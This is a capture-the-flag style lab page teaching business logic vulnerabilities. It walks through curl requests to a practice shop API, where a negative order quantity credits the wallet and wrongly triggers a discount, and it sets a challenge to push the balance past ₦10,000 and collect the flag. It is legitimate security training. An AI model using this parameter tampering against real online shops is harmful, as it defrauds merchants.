Business Logic · Lab 09
Lab 09 Module 2 Medium

Business Logic Vulnerabilities

A shop sells one product. It enforces a limit of one per customer. It calculates the discount on the cart. The rules look fine. They aren't.

The rule: you have ₦500 in your wallet. The product costs ₦450. You need to walk away with a flag worth ₦10,000. The rules must be broken, not the code.

Test

Copy these. Run them. Read what comes back.

Step 1 · Look at the product

The shop has one product and one clear rule: one per customer.

Terminal
curl -s "{LAB_API_BASE}/api/09/product"

What you'll see:

Response
{
  "id": "flag-book",
  "name": "Flag Trophy",
  "price": 450,
  "wallet": 500,
  "max_per_customer": 1,
  "discount_threshold": 1000,
  "discount_percent": 50
}

Read carefully. Price is 450. Wallet is 500. You can afford one. The checkout requires two things: a wallet balance of at least ₦10,000, and the discount to have been triggered. Look at what triggers it: orders over ₦1,000 get 50% off. But you can't afford ₦1,000 of anything.

Step 2 · Send a negative quantity

The order endpoint takes a quantity. It checks the wallet, but does it check that the quantity is a positive number?

Terminal
curl -s -X POST "{LAB_API_BASE}/api/09/order" \
  -H "Content-Type: application/json" \
  -d '{"quantity":-10}'

What you'll see:

Response
{
  "ok": true,
  "quantity": -10,
  "total": -4500,
  "wallet_after": 5000,
  "discount_active": true
}

A negative quantity means the shop pays you. Your wallet went from 500 to 5,000. And because the order's absolute value was over ₦1,000, the discount is now active — even though the order was negative. Two business rules broken in a single request: the quantity was never checked as positive, and the discount threshold only looked at magnitude, not direction.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

Your wallet is now at 5,000, and the discount is active. The flag lives in the checkout — a separate endpoint that requires:

  • Wallet balance ≥ 10000
  • A discount active

Send another negative-quantity order — this time big enough to push the wallet past 10,000 in a single request. Then call /api/09/checkout.

The flag is in the checkout response.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 09 — Business Logic Vulnerabilities

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 09 of 30 Next lab